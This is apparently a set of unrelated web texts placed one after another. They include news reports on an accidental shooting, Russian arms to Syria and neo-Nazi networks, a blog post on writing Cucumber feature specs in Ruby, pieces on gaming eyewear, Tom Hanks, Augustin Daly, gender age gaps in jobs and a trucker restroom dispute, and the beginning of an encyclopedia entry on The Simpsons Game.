-SCARBOROUGH, Maine — A Portland woman found with a gunshot wound in her head Thursday night in Scarborough was the victim of an accidental shooting, police said Friday.  Carol Dorney, 47, was transported to Maine Medical Center after Scarborough police responded to a reported shooting at 38 Running Hill Road and found the Portland woman wounded in the driveway.  Police received the call at 9:44 p.m. Thursday, according to a Friday morning news release issued by the department.  After detaining what the release called “several people” from the scene, investigators declined to press charges against anyone, Detective Sgt. Rick Rouse of the Scarborough Police Department said Friday.  “The initial investigation has indicated that this was an accidental discharge of a firearm, and it doesn’t look like there are going to be any charges,” Rouse told the Bangor Daily News.  According to Rouse, the homeowner at the location was confused about an altercation taking place in his driveway, heard somebody say, “I’ll kill you” and mistakenly believed the threat to be directed at him. The homeowner then came out of his residence with a gun, lost his handle on the weapon, and it fired as he bobbled it.  “He didn’t mean to aim it or anything,” Rouse said. “He was just carrying it out.”  Rouse, who did not name the homeowner, said no activity in the initial altercation rose to the level where criminal charges were necessary.  Dorney remained in critical condition Friday afternoon, according to a Maine Medical Center representative.
-Thinking > story  User-level Feature Specs With Cucumber  Summary  Applications are not just collections of technology. They are designed to provide meaningful functionality within the user's domain of experience. To achieve that, they encapsulate complex technical implementations under intuitive, human-friendly user interfaces.  Congruent to that, the specifications for said application functionality should also be on the level of user experience, with their underlying technical implementation encapsulated.  Cucumber is often misunderstood as an unnecessary detour from expressing feature specs more directly in code. In this blog post I demonstrate that Cucumber's code and language patterns emerge naturally when organizing/refactoring complex feature specs.  This substantiates the understanding of Cucumber as a set of patterns, tools, and programming languages specialized for expressing feature specs on the same semantic level as the functionality they describe, the level of user experience.  Introduction  An essential part of TDD are feature specifications (aka functional or integration tests). To verify that our application as a whole works, we fire up the complete application stack as well as a scriptable interaction device (browser or mobile application simulator). Using the latter we simulate users interacting with our app (clicking links and buttons, filling out forms etc) and check that our application as a black box exhibits the correct behaviors (displays the correct responses, sends the right messages to other apps etc). These feature specs can even drive the development of their features.  For simple feature specs we often don't need anything beyond a fixture and mocking library together with a UI driver. As feature specs grow in size, however, expressing complex user interactions solely using only these intentionally low-level tools becomes increasingly cumbersome. Here is a representative example: the feature spec for changing the password of a user account in a typical web application. We use Ruby, RSpec, Capybara and Factory Girl.  scenario 'changing the password' do user = create :user, email: 'tester@foo.com', password: 'old password' click_link 'Login' fill_in 'Email', with: 'tester@foo.com' fill_in 'Password', with: 'old password' click_button 'Log In' expect(page).to have_content 'Signed in successfully' visit '/' click_link 'my account' click_link 'change my password' fill_in 'New Password', with: 'new password' fill_in 'Password Confirmation', with: 'new password' click_button 'Update password' expect(page).to have_content 'Changed your password' click_link 'Log Out' click_link 'Login' fill_in 'Email', with: 'tester@foo.com' fill_in 'Password', with: 'new password' click_button 'Log In' expect(page).to have_content 'Signed in successfully' click_link 'Log Out' click_link 'Login' fill_in 'Email', with: 'tester@foo.com' fill_in 'Password', with: 'old password' click_button 'Log In' expect(page).to have_content 'Login not successful, please try again' end  Did you understand what this quite massive and cumbersome spec verifies? How does changing the password work? How long did it take you to understand all that? How much low-level source code did you have to read, parse, and execute in a virtual browser in your head in order to derive how the application is supposed to behave here? And that was still a relatively small, simple, and straightforward feature!  Although the spec nicely lists all the individual steps for changing a user's password, it is too low-level. It is hard to see how the product actually works, and I am not confident from just looking at this that we didn't forget to check something. This is merely what a developer thought the product should do, expressed in ways only a developer understands. But like all people, developers occasionally misunderstand requirements, or translate them incorrectly into code.  As a start, let's group related steps together and add some comments.  scenario 'changing my password' do # Create a user with email "tester@foo.com" and password "old password" user = create :user, email: 'tester@foo.com', password: 'old password' # Log in as that user visit '/' click_link 'Login' fill_in 'Email', with: 'tester@foo.com' fill_in 'Password', with: 'old password' click_button 'Log In' expect(page).to have_content 'Signed in successfully.' # Change that user's password to "new password" visit '/' click_link 'my account' click_link 'change my password' fill_in 'New Password', with: 'new password' fill_in 'Password Confirmation', with: 'new password' click_button 'Update password' expect(page).to have_content 'Changed your password' # Verify that we can log in with the new credentials click_link 'Logout' click_link 'Login' fill_in 'Email', with: 'tester@foo.com' fill_in 'Password', with: 'new password' click_button 'Log In' expect(page).to have_content 'Signed in successfully.' # Verify that the old password doesn't work anymore click_link 'Logout' click_link 'Login' fill_in 'Email', with: 'tester@foo.com' fill_in 'Password', with: 'old password' click_button 'Log In' expect(page).to have_content 'Login not successful, please try again' end  Great, this has already made more clear what we actually do here! But comments in front of blocks of code are an indicator that a method does too much (more than one thing), and that new methods want to emerge here. Also, this method is too long, and this code is not reusable. For example when testing other scenarios, we don't want to duplicate the code for logging in.  Extracting reusable methods  Lets extract reusable methods. Doing so also gives us a chance to remove a now unnecessary comment, because the respective code piece is now self-describing.  scenario 'changing my password' do # Create a user with email "tester@foo.com" and password "old password" user = create :user email: 'tester@foo.com', password: 'old password' # Log in as that user login_with email: 'tester@foo.com', password: 'old password' verify_login_succeeded change_my_password_to 'new password' # Verify that the new password works logout login_with email: 'tester@foo.com', password: 'new password' verify_login_succeeded # Verify that the old password doesn't work anymore logout login_with email: 'tester@foo.com', password: 'old password' verify_login_failed end # Helper methods def change_my_password_to new_password visit '/' click_link 'my account' click_link 'change my password' fill_in 'New Password', with: new_password fill_in 'Password Confirmation', with: new_password click_button 'Update password' expect(page).to have_content 'Changed your password' end def login_with(email:, password:) click_link 'Login' fill_in 'Email', with: email fill_in 'Password', with: password click_button 'Log In' end def logout click_link 'Logout' end def verify_login_succeeded expect(page).to have_content 'Signed in successfully.' end def verify_login_failed expect(page).to have_content 'Login not successful, please try again' end  The scenario is now more concise and reads better. And the extracted methods make sense. But it feels like we aren't quite there yet, and there is more we can do here.  I bet most of my feature specs have to create a user and then log in as that user. Let's combine those steps into one.  Also, our spec contains two separate levels of abstraction now: comments describe higher-level end-user perspective, i.e. what people want to do with the product, and the corresponding code blocks represent the respective technical implementation, i.e. how to do these things. Our current feature spec mixes these levels inconsistently:  Comments and methods like change_my_password_to are on the high-level end-user perspective.  are on the high-level end-user perspective. Code like create :user is on the technical implementation level.  is on the technical implementation level. Methods like login_with are in between: they already encapsulate pieces of end-user interaction, but need to be combined with other steps to form full end-user interactions.  All of that smells bad, so let's keep refactoring.  Separate product perspective from implementation  Let's make it so that our scenario solely describes the high-level end-user perspective, and all of the technical implementation is encapsulated in helper methods.  scenario 'changing my password' do create_user_and_login_with email: 'tester@foo.com', password: 'old password' change_my_password_to 'new password' verify_login_works email: 'tester@foo.com', password: 'new password' verify_login_fails email: 'tester@foo.com', password: 'old password' end # High-level product-perspective methods def change_my_password_to new_password visit '/' click_link 'my account' click_link 'change my password' fill_in 'New Password', with: new_password fill_in 'Password Confirmation', with: new_password click_button 'Update password' expect(page).to have_content 'Changed your password' end def create_user_and_login_with(*args) create :user, *args login_with *args verify_login_succeeded end def verify_login_fails(*args) logout login_with *args verify_login_failed end def verify_login_works(*args) logout login_with *args verify_login_succeeded end # Reusable building blocks def login_with(email:, password:) click_link 'Login' fill_in 'Email', with: email fill_in 'Password', with: password end def logout click_link 'Logout' end def verify_login_succeeded expect(page).to have_content 'Signed in successfully.' end def verify_login_failed expect(page).to have_content 'Login not successful, please try again' end  Some parts of our scenario try to sound a bit too much like English for being actual method names. They are too long. This isn't well-factored, technically sound source code. We shouldn't start naming our methods like that in the rest of the code base.  And it's still doesn't really come together. It doesn't form a cohesive user story that makes me wave my credit card and say "Yes, I want that!" It's not clear why we do all these steps, and what we are actually testing here. That creating users works? That passwords can be changed? That logging in still works after a password has been changed?  Part of that is because such concepts have to be explained, but this is still nowhere near real, intuitive English. Trying to make a general-purpose programming language sound like a natural language only gets us so far. In my experience it will always feel like putting lipstick on a robot, and there is no good solution here.  Describing the product part in plain English  Ultimately it is questionable whether a general-purpose programming language is the most appropriate tool here altogether. Feature specs don't contain complex algorithms, loops, code paths, or inheritance. They don't even require functions or variables per se. Feature specs just express a number of linear user interactions with an application, expressed from a non-technical human perspective.  We only described our scenario in code because its underlying implementation is technical, and as developers code is our hammer. But not everything requires code. Let's try something more close to natural language: Gherkin  Scenario: changing my password Given I am a user with email: "tester@foo.com" and password: "old password" When I change my password to "new password" Then I can log in with email: "tester@foo.com" and password: "new password" And I can no longer log in with email: "tester@foo.com" and password: "old password"  Wow, that feels like a breath of fresh air. We expressed our interactions with the application in perfect English. For the first time, it's absolutely clear what we are actually doing and verifying here, and why.  Gherkin is part of Cucumber. Let's see how the corresponding step definitions look. If you wonder about Kappamaki below, it converts textual lists into collections.  Given /^I am a user with (.+)$/ do |user_data| user_data = Kappamaki.attributes_from_sentence user_data create :user, user_data login_with user_data verify_login_succeeded end When /^I change my password to "(.*)"$/ do |new_password| visit '/' click_link 'my account' click_link 'change my password' fill_in 'New Password', with: new_password fill_in 'Password Confirmation', with: new_password click_button 'Update password' expect(page).to have_content 'Changed your password' end Then /^I can log in with (.+)$/ do |login_data| logout login_with Kappamaki.attributes_from_sentence(login_data) verify_login_works end Then /^I can no longer log in with (.+)$/ do |login_data| logout login_with Kappamaki.attributes_from_sentence(login_data) verify_login_failed end  These are the same high-level product-perspective methods we had before, just with more descriptive English names. The bodies are almost identical to the ones written in Ruby. The reusable helper files don't change at all.  As we can see, Cucumber provides facilities to represent the abstractions that naturally emerge in well-factored, complex feature specs. And it allows to represent them in a more appropriate format than a general-purpose programming language can. Other advantages are:  Product experts can verify that feature specs describe the correct application behavior, resulting in better team play between the product and development departments.  User stories can be written directly in Gherkin. This means one less conversion step from product description to code, which means one less opportunity for things to get lost in translation. And less meetings.  Feature specs can be understood and executed by both machines and humans. Automation allows to catch bugs and regressions earlier, thereby making everybody's life easier. Knowing that this happens, Quality Assurance (QA) personnel no longer have to do the boring and repetitive task of re-verifying already-tested functionality, but can instead focus on finding new issues and ensuring that the product looks correct.  I hope it becomes more clear that Cucumber as a platform for intuitive, user-level feature specifications provides value to the entire agile organization, including the development team. It allows for better functional testing than general-purpose programming languages, and should be a part of most serious agile projects.  Robust and mature Cucumber implementations are available for Ruby, JavaScript, the JVM, Python, .NET, and many other platforms. You can even develop cross platform Android and iOS specs with it.  No more low-level Gherkin that merely wraps individual interaction steps. That's what Capybara is for. Cucumber is a high-level specification layer with end-user perspective, on top of the underlying technical implementation.  The future is green, friends!
-Share. Reduce eyestrain during those long multiplayer sessions. Reduce eyestrain during those long multiplayer sessions.  As with every Call of Duty release, you're likely going to find yourself spending countless hours glued to your television in the heat of battle, and 69475.html" >Modern Warfare 3 will be no different. Gunnar Optiks wants to ease your impending eyestrain with their new officially licensed Gaming Eyewear.  Gunnar's Call of Duty: Modern Warfare 3 eyewear utilizes the company's i-AMP technology, and features custom spring hinges, a magnesium alloy frame and wide coverage lenses. As per usual, Gunnar's eyewear aims to reduce eye fatigue and glare through precise lens geometry, tinting, and lightweight structural design.  For those with less than stellar vision, lenses can be suited to your required prescription.  The Gunnar Call of Duty: Modern Warfare 3 eyewear will set you back $99 and will be available in the next coming months with pre-orders will starting at the end of August through BestBuy.com. If you just can't wait, you can sign up to be notified when they go on sale by signing up at Gunnar's website.
-The Guardian's film critic Peter Bradshaw recently blogged on his desire to think the best of Tom Hanks, despite misgivings about his latest movie, Larry Crowne. Now, new evidence has come to light confirming the impulse: Hanks has reportedly refunded the ticket price of two fans who expressed disappointment at his latest film.  The National Enquirer reports that Hanks was filling up his car at a petrol station in the wealthy Los Angeles district of Pacific Palisades when he was approached by a couple who had just seen him in Crowne, which Hanks also wrote and directed. When Hanks asked if they had enjoyed it, the man replied that it wasn't that good, while his partner politely explained that they had come to expect more from their favourite actor.  Hanks is then reported to have apologised and offered to refund their ticket money. He then reached into his pocket and pulled out $25, which the couple eventually accepted.  Larry Crowne was something of a passion project for Hanks, who starred as a man who goes back to school after being made redundant. It failed to attract much critical fervour and was also a dud at the box office. Despite having appeared in more than his fair share of turkeys recently, Hanks remains one of Hollywood's highest paid stars. He was recently reported to have banked $35m last year thanks largely due to his role as the voice of Woody in Toy Story 3.
-John Augustin Daly (July 20, 1838 – June 7, 1899) was one of the most influential men in American theatre during his lifetime. Drama critic, theatre manager, playwright, and adapter, he became the first recognized stage director in America. He exercised a fierce and tyrannical control over all aspects of his productions. His rules of conduct for actors and actresses imposed heavy fines for late appearances and forgotten lines and earned him the title "the autocrat of the stage."[1] He formed a permanent company in New York and opened Daly's Theatre in New York in 1879 and a second one in London in 1893.[2]  Biography [ edit ]  Augustin Daly was born in Plymouth, North Carolina to Captain Denis Daly a sea-captain and ship owner, and Elizabeth, daughter of Lieutenant John Duffy of the British Army. He was educated at Norfolk, Virginia, and in the public schools of New York City. His mother, early left a widow, brought her two boys to New York City, where they soon became frequent attendants at the theaters and were members of amateur groups, which under such names as the "Burton Association" or the "Murdoch Association" were the precursors of the Little Theatre Movement.[3]  He was dramatic critic for several New York papers from 1859, and he adapted or wrote a number of plays, Under the Gaslight (1867) being his first success. In 1869 he became the manager of the Fifth Avenue Theatre on 24th St. and in 1873 the Fifth Avenue Theatre on 28th. In 1879 he rebuilt and opened Daly's Theatre at Broadway and 30th Street in New York, and, in 1893, Daly's Theatre in London.[4]  Reading The Play (1882)  At the first of these, he gathered a company of players, headed by Ada Rehan, which made for it a high reputation, and for them he adapted plays from foreign sources, and revived Shakespearean comedies in a manner before unknown in America. He took his entire company on tour, visiting England, Germany and France, and some of the best actors on the American stage have owed their training and first successes to him.[4] Among these were Clara Morris, Sara Jewett, John Drew, Jr., Maurice Barrymore, Fanny Davenport, Agnes Ethel, Maude Adams, Mrs. Gilbert, Tyrone Power, Sr., Ada Dyas, Isadora Duncan, Maud Jeffries and many others. Daly's willingness to, as he put it, "stoop to the curb and bestow upon the low, untried actor a chance at greatness" earned him the nickname "Little Man Auggie" among his peers. His play Leah the Forsaken, adapted from Hermann Salomon Mosenthal's Deborah, was a star vehicle for Margaret Mather.  His Shakespeare productions were often severely criticized by George Bernard Shaw, who was active as a drama critic during those years. Shaw took Daly severely to task for cutting Shakespeare's plays and for presenting them in unorthodox ways. (Shaw was a strong believer in presenting Shakespeare's plays uncut.) Several of Shaw's criticisms of Daly's Shakespeare productions were reprinted in the anthology Shaw on Shakespeare.[5]  Daly was a great book-lover, and his valuable library was dispersed by auction after his death, which occurred in Paris. Besides plays, original and adapted, he wrote Woffington: a Tribute to the Actress and the Woman (1888).[4]  Dora Knowlton Ranous, a onetime actress in the Daly company, published a 1910 memoir of her experiences entitled Diary of a Daly Débutante.[6]  Notable works [ edit ]  Under the Gaslight (1867) is an example of Daly's mixture of realism and melodrama, seen in the authenticity of his depiction of real locations and in his use of social commentary.[7] The play introduced the now-clichéd device of the villain tying someone to railroad tracks, although in a reversal of the usual roles it was the hero who was tied up and the heroine who saved him.[8] In the book Vagrant Memories, the author, William Winter recalls how Daly came up with the device. He says: "He once told me under what circumstances he hit upon this device. He was walking home toward night, thinking intently about the play which he had begun to write, when suddenly the crowning expedient occurred to him and at the same instant he stumbled over a misplaced flagstone, striking his right foot against the edge of the stone and sustaining a severe hurt. "I was near my door," he said, "and I rushed into the house, threw myself into a chair, grasping my injured foot with both hands, for the pain was great, and exclaiming, over and over again, 'I've got it! I've got it! And it beats hot-irons all to pieces!" I wasn't even thinking of the hurt. I had the thought of having my hero tied on a railroad track and rescued by his sweetheart, just in the nick of time, before the swift passage of an express train across a dark stage.[9]  A Flash of Lightning (1868), like Under the Gaslight, is pure melodrama, with water and fire spectacles providing action scenes and special effects for its eager audiences.[7]  Horizon (1871) is an adaptation of a Bret Harte story about the westward expansion of the States; it is an example of the popularity of western drama, coupled with Daly's interest in realism of the local color variety, although it remains melodramatic.[7]  Divorce (1871) and Pique (1875), both adaptations of British novels, demonstrate Daly's attempts to create social comedy, although the plays remain somewhat melodramatic.[7]  References [ edit ]  Sources [ edit ]  Autograph letters signed from Miriam Coles Harris to Augustin Daly (1885) Google Books  Further reading [ edit ]
-The murder of Pavlos Fyssas seems to have served as a wake up call for the Greek authorities. An antifascist activist and rapper, Fyssas was stabbed to death on Wednesday (September 18) near Athens.  The suspected offender was a member of the neo-Nazi political party Golden Dawn. The party, which gained nearly 7 percent of the votes in the Greek parliamentary elections of 2012, has denied any involvement.  But the authorities are nevertheless determined to take a stronger stance against right-wing extremism. In several Greek cities, police officers have arrested party members who possess weapons.  Pan-European networks  Golden Dawn has allies all over Europe. In 2004, it joined the European National Front alliance together with other European far-right parties, including Germany's NPD and Spain's La Falange. In Germany, recent investigations into the murders committed by the neo-Nazi group NSU (National Socialist Underground) have revealed an extensive international network that serves the interests of right-wing extremists.  "Neo-Nazis began to network, also on an international level, in the mid-1990s or even earlier," said Berlin-based political scientist and right-wing extremism expert Hajo Funke.  Neo-Nazis have their own music scene  Andreas Speit, a Hamburg-based author of several books on right-wing extremism, says that neo-Nazi activity can be broadly divided into three different categories.  "You have to distinguish between three types: the subculture scene, the violent neo-Nazis and the politics," Speit said.  He has observed that, on the cultural level, networking is being done at right-wing rock concerts. German bands with racist song lyrics tour all around Europe.  "As a right-wing rock band, you can perform in countries like Italy or Greece," added Speit. CDs with songs that are banned in Germany are produced abroad and then brought into the country.  German neo-Nazis commit violence abroad  Experts have observed a form of cross-border cooperation between violent neo-Nazis. Internationally active groups such as the Ku Klux Klan, Combat 18 and Blood and Honour can help individuals wanted for right-wing crimes go into hiding in other countries.  "Such groups have become stronger in recent years because domestic intelligence agencies have allowed it to happen," Funke said.  This international networking results in violent German neo-Nazis committing crimes abroad.  "There have been incidents of German neo-Nazis traveling to the Czech Republic and taking part in attacks on Roma and Sinti people - or going to Greece to see how the Golden Dawn operates," explained Speit. "You could call this violence tourism."  However, right-wing extremists also attempt to gain influence through legal methods. The European Alliance for Freedom and the Alliance of European National Movements are two parties that plan to run for office in the next European Parliament elections.  Ideology of 'ethno-pluralism'  Speit has written extensively on the topic of right-wing extremism  But why do nationalists from various countries work with each other?  "Neo-Nazis don't think in terms of national borders," said Speit. "They don't hinder each other's activities but instead they want to see the white race maintain power around the world. And as long as foreigners stay in their own countries, the neo-Nazis have nothing against them. The ideology at play here is ethno-pluralism."  The one thing that unites the right-wing parties from all countries is hatred of Jews. This is a reason why many neo-Nazis had great respect for former Iranian president Mahmoud Ahmadinejad, who openly spoke against Israel and threatened to destroy it. The bond between Islamists and neo-Nazis is not a new phenomenon, however.  "Already in the 1920s there were strong alliances between the right-wing groups of Europe but also with the Arab world," said Speit, adding that the ideology behind this was banal. "The right-wing extremists realized that the other group was also fond of upholding its old traditions, including those pertaining to dealing with women."  Impact of economic crisis  According to Speit, right-wing ideology is spreading internationally. This is partly due to the effects of the economic crisis and the uncertainty felt by the middle class. The networking between neo-Nazis only exacerbates the problem.  "We can expect that they will get more mandates during the next EU parliamentary elections," said Speit.  The movement is also "unbelievably active" on the music scene. Young people from small towns are easily excited by the local right-wing extremists getting the chance to travel to Italy to attend a concert. This is why it is important to take preventative measures.  "Turning away doesn't solve the problem," said Speit. "If you confront right-wing extremists, you have a chance to change them."
-The US has scolded Russia for sending missiles to the Syrian government, with plans for an international peace conference promoted by the two major powers appearing to founder on diplomatic rifts over its scope and purpose.  General Martin Dempsey, the most senior US military officer, has described Russia's recent delivery of anti-ship missiles to President Bashar al-Assad as "ill-timed and very unfortunate".  "It's at the very least an unfortunate decision that will embolden the regime and prolong the suffering," he said in Washington DC on Friday.  He said the transfer of Russian arms risked extending the war which has already killed more than 80,000 Syrian people and which the UN says has driven 1.5 million abroad.  The divisions appear just 10 days after Russia and the US agreed to bury differences and push for an urgent international conference to end the war.  Russia has not responded directly to the media reports that said it has sent a new batch of upgraded Yakhont anti-ship missile systems that make a shipping embargo of Syria much more difficult to enforce.  However, during a visit by Ban Ki-moon, UN secretary-general, to Moscow on Friday for talks on Syria, Sergey Lavrov, Russian foreign minister, defended sending arms to the Middle East country, saying it was done "without violating any international agreements, or our own legislation".  With a range of 300km, the Yakhont could prove a threat to warships in the Mediterranean, should, for example, Western powers abandon their deep reserve and intervene to offer air support to the rebels, as they did in Libya two years ago.  Proposed meeting  No date has yet been agreed for the international meeting, which is intended to be attended by representatives from the Syrian government and the opposition, as well as international figures.  Ban met Putin in Russia on Friday, and said the conference should take place as soon as possible.  But highlighting the diplomatic challenge it poses, France has spelled out explicitly that it will oppose any meeting were Assad's regional ally Iran to be invited - contrary to the Russian position that Iran should be part of a solution.  The rebels and key Arab and Western backers will meet in Amman, Jordan, on Wednesday to discuss how to approach the conference.  It is also unclear that Assad's opponents can forge a united front or agree to meet his representatives.  After months of diplomatic stalemate, the US and Russia have been pushed to convene the conference as Syria's death toll and atrocities rise and amid signs of escalation across the country's frontiers.  Suspicions that chemical arms may have been used have also deepened the crisis.  A Western diplomat at the UN in New York said the target date for the peace conference was June 10-15, but it depended on the readiness of the Syrian parties.  An alternative plan would be to hold an international conference and then have the Syrians meet at a later date when they are prepared.
-Mind the gap: Where you fit in the changing jobs landscape  Updated  At what age are you most likely to be a sportsperson, barrister or bus driver? Turns out the answers can be very different, depending on your gender.  See for yourself.  The charts generated below show the age distribution of workers in different jobs. The higher the peak, the more workers that age (as a percentage of all workers in that job).  If you're at the highest peak, you're the typical age for your job.  We have good reason to think of some jobs as dominated by millennials (for example, kitchenhand or bar attendant) and others as clearly in baby boomer territory (think farmer or sewing machinist).  But the latest census data reveals some surprising patterns when we look at men and women separately.  We're going to show you 12 occupations with wide gaps in average age between male and female workers. See if you notice a difference between the kinds of jobs in which men are older than their female colleagues and vice versa.  Here are the age distributions for six jobs in which men are significantly older than women, on average.  Peaks to the left of a chart show a high percentage of young workers; peaks to the right show a high percentage of older workers.  Veterinarians have the largest age gap towards older men of all the jobs in the census. Male vets have an average age of 49, compared to 38 for their female peers — a difference of 11 years.  Barristers have the second-biggest gap. Male barristers have an average age of nearly 52; female barristers, 42 — a difference of 10 years.  Solicitors and dental practitioners both have a gender age gap of nine years. Their average ages are also the same: 47 for men and 38 for women.  GPs and paramedics both have a gender age gap of roughly 7.5 years.  The average ages for GPs are 49 for men and 41.5 for women. Among paramedics it's 43.6 and 36.  Let's turn now to the jobs with the largest age differences in the opposite direction: jobs where women workers tend to be significantly older than their male colleagues.  The difference is stark. Most of the jobs in which men tend to be much older than women are high-paying professions.  Jobs with large age gaps in the opposite direction, however, are mostly low-skill and low-pay.  Kitchenhands have the largest gender age gap of any occupation. The average age of women in this job is 38, compared to 26 for men — a difference of 12 years.  While a high percentage of female kitchenhands are teenagers (that's the first peak in the red line), a significant share are in their 50s (that's the second bump in the red line).  Cooks and shelf fillers both have a gender age gap of roughly 10 years. The average ages for cooks are 42 for women and 33 for men. For shelf fillers, it's 37 and 27.  The gender age gap for receptionists is seven years. The average age for women is 41, compared to 34 for men.  Fitness instructors and housekeepers both have a gender gap of 6.6 years.  Women fitness instructors have an average age of 40, while their male colleagues are roughly 33. For housekeepers, it's 42 for women and 36 for men.  So why are so many female baby boomers doing the same jobs as teenagers and students?  "There'd be one main reason: that's the only work they can get," Johanna Wyn, director of The University of Melbourne's Youth Research Centre, said.  Older women are less likely to have completed higher education, while those who did often find their qualifications are no longer relevant after taking extended time away from work to raise children.  "It's very difficult to get back into those high-skill, high-pay occupations after spending time out of the workforce to raise children," Angela Knox, from the University of Sydney business school, said.  "So women tend to downgrade when they return to work."  This also partly explains why highly-paid occupations having the widest gender age gaps in the opposite direction, between older men and younger women.  The other factor is more positive.  "Women attain higher levels of education than men now, so you're seeing more women coming into these professional occupations at a younger age," Associate Professor Knox said.  Sorry, this video has expired Video: Spot the difference (ABC News)  Recently-retired solicitor Helen Kennett is among the rare baby boomer women who continued working full-time after having children. The cultural barriers facing women in the profession were "huge", she said.  "It was definitely unusual to have young women in the occupation… There were a lot of older men in the profession who had not yet realised that women had the potential to do as good a job," the 63-year-old said.  Census figures show nearly half of Australia's female solicitors are millennials, for example, compared with 30 per cent of male solicitors. The drop-off in women aged 30 and older is both steady and steep.  Ms Kennett said she "absolutely" understood why so many of her peers did not return to work after having children.  "You don't have to be away from work for long to start losing your confidence… especially with litigation, which is quite an aggressive field," she said.  "As time goes by, employers, too, are less likely to think you'll be able to perform the way they need."  Professor Wyn said many workplaces were yet to catch up with dramatic changes in women's education.  "Women are in tertiary education in higher numbers than men but [this] data is showing that women really aren't yet getting the economic benefits of that… It's not being translated into their position in the workforce or their pay," she said.  She said longer periods spent studying meant the window of time between starting a career and a family was becoming increasingly narrow.  "Women are a bit pincered… The biological clock is ticking but they're being pushed further down the age track with education and the time needed to set the foundations of a career."  It's a question solicitor Jacqui Fetchet, 27, has pondered, too. "It takes 12 years to make partner, if you're lucky, so if you're 26 and graduating from law school and then you start working, you go through the numbers and realise that 10-12 years is the prime time for young kids."  The attrition rate of young women in her profession can be discouraging, she said. "Particularly from a gender perspective and as a young person, the work hours and culture seem a bit intimidating… You're talking about people working 10- to 14-hour days on a regular basis.  "I think a lot of people are just saying, 'Well, I care more about having relationships and being healthy, and loving my family than I do about this career'. That's a really hard choice to make."  Notes about this story  The 2016 census asked employed people aged 15 or older about the main job they held in the week before census night.  Millennials includes people aged 15-34. Baby boomers includes people aged 54-71.  Credits  Topics: work, community-and-society, youth, business-economics-and-finance, economic-trends, australia  First posted
-Well kids, here we go again.  I got a message yesterday with no text, just a picture attached of this sign in the Yankee Candle plant in Whately, Mass., that was posted to a driver’s page on Facebook.  I’m not gonna lie, it fired me up. It also got about 200,000 truckers fired up, and they let their displeasure be known on the YC Facebook page. For several hours, I watched the messages appear, and then disappear, as the page moderator deleted them, and that fired me up even more. There were messages, phone calls and e-mails flying – and the trucking community did not waiver. Between the efforts of Maddog Trucker and several hundred other people, the messages continued to post faster than the moderator could delete.  In an unusual twist of fate — the trucking community wasn’t the only one offended by the sign. For whatever reason, denying someone the use of a toilet really upsets people. The general public was pretty horrified by it, and for once, public support was in drivers’ corner. There were quite a few posts from unaffiliated individuals, who vowed never to buy a Yankee Candle again.  Eventually, the company did respond. “We apologize to our customers regarding the concern related to the Whately plant signage. This update is to let you all know that the sign has been removed. It was originally placed there due to the fact that the bathrooms at that particular Yankee Candle facility are unsecured, as they currently allow access to the rest of the plant, meaning we could not let non-employees enter. However, these bathrooms are already in the process of a renovation that will alleviate safety and security concerns. We anticipate the changes will be completed in the near future, in the meantime, we welcome drivers to use the restroom facilities at our nearby distribution center,” and the company also noted two Sani-Cans would be on the plant’s property, one for men and one for women.  OK. We’ll take that as a win, even though the apology should have been directed at the truckers, and not the customers, and I have a very distinct feeling the “renovations” might have just begun yesterday. But that’s cool, because when you’re treated like a second class citizen most of the time, any scrap of respect or acknowledgment is a win.  Now here’s the other side of the pancake.  While the support was overwhelmingly in favor of the drivers having a place to relieve themselves, there were a lot of people who thought the company should have every right to deny use of the bathrooms. The frequently referenced “Well, truckers are dirty and they probably messed the stalls up so bad the company had no choice” was once again trotted out as an argument. There was also a lot of support for a company being able to do what they want on private property. Both of these are valid arguments we could discuss all day long, but the fact remains – human beings have certain body processes they absolutely can’t control, and some of these processes require the use of a toilet to be completed with a satisfactory degree of cleanliness. Providing said receptacles would prevent the need for people to use the parking lot as one.  Believe me, I know there are still people who are either terrified of bathrooms, or don’t know how to use one. I’ve seen more than one person whipping it out on the fuel island when a bathroom is literally 20 yards away. I get it. There are pigs among us. But we’re not all pigs, and we shouldn’t be treated that way.  We each have a personal responsibility to represent this industry as a respectable one, and I believe most truckers know and practice that. Unfortunately, the bad apples of the bunch have ruined the sauce for all of us. It’s time to cull those tainted fruits.
-The Simpsons series, see This article is about the 2007 video game. For other video games inseries, see List of The Simpsons video games  The Simpsons Game is an action platformer video game based on the animated television series The Simpsons and loosely on The Simpsons Movie, made for the Nintendo DS, Wii, Xbox 360, PlayStation 2, PlayStation 3 and PlayStation Portable. The game was developed, published, and distributed by Electronic Arts. It was released in North America in October 2007 and worldwide in November 2007. It features an original storyline written by The Simpsons writers Tim Long, Matt Selman, and Matt Warburton. In the self-referential plot, the family discovers that they are forced to participate in another The Simpsons video game. Similar to the show, the game pokes fun at popular culture, other video games, and Electronic Arts, its publisher.  The game follows the five Simpson family members—Homer, Marge (with Maggie), Bart, and Lisa—who learn they are part of a video game and are given superpowers to resolve several situations. Eventually, they must save their 8-bit predecessors from Will Wright, and the creator of their video game character selves, Matt Groening. The Simpson family travels to four scenarios in parodies of other games to collect key cards used to infiltrate their creator's mansion and ultimately to save their predecessors from destruction.  The game was met with mixed reception from video game critics. They praised its visuals and writing, which included many parodies of other video games, while they criticized its short length and poor camera system, which did not always function properly. The Simpsons Game received the Best Game Based on a Movie or TV Show award at the 2007 Spike Video Game Awards and was nominated for Best Video Game Writing at the 2007 Writers Guild of America Awards. As of January 31, 2008, four million copies of the game have been sold worldwide.  Gameplay [ edit ]  Players of The Simpsons Game are able to control the Simpson family (except Maggie), each with their own unique abilities.[1] Two different family members are playable in each level,[2][3] aside from the tutorial level, "The Land of Chocolate", in which only Homer is playable, and the final level, "Game Over", where all members of the family are playable.[4] The game contains sixteen levels, called episodes,[3] and each requires specific powers to complete. For example, in the fourth episode, "Lisa the Tree Hugger", the player is required to use Lisa's "Hand of Buddha" power to move large objects, and Bart's slingshot to shut down machines. Enemies unique to each episode are featured, with the exception of the final level, in which enemies that have already been defeated are "recycled" with different colors.[5]  Several challenges are made available after all episodes are completed. These include finding all the collectibles for each character,[1] finding all the video game clichés,[6] and in the PlayStation 3, Xbox 360, and Nintendo DS versions, completing a certain task related to each episode's plot in a time trial.[7][8]  The Simpsons Game's head-up display features health meters for both characters in each level, and an attack meter and special power meter for the character currently controlled by the player.[7] The game features a two player co-op mode, which has a split screen and allows each player to control one of the two characters featured on that level.[1][3]  The DS version of the game was developed separately from its console counterparts and is a side scrolling adventure. It also offers several features that are not available in the other versions. Several minigames are available to unlock and play, most which are updated versions of arcade games such as Frogger and Space Invaders, the latter which references the aliens Kang and Kodos from the Simpsons Treehouse of Horror episodes. A virtual pet is also accessible, called "Pet Homer", which allows players to feed, entertain, and save Homer 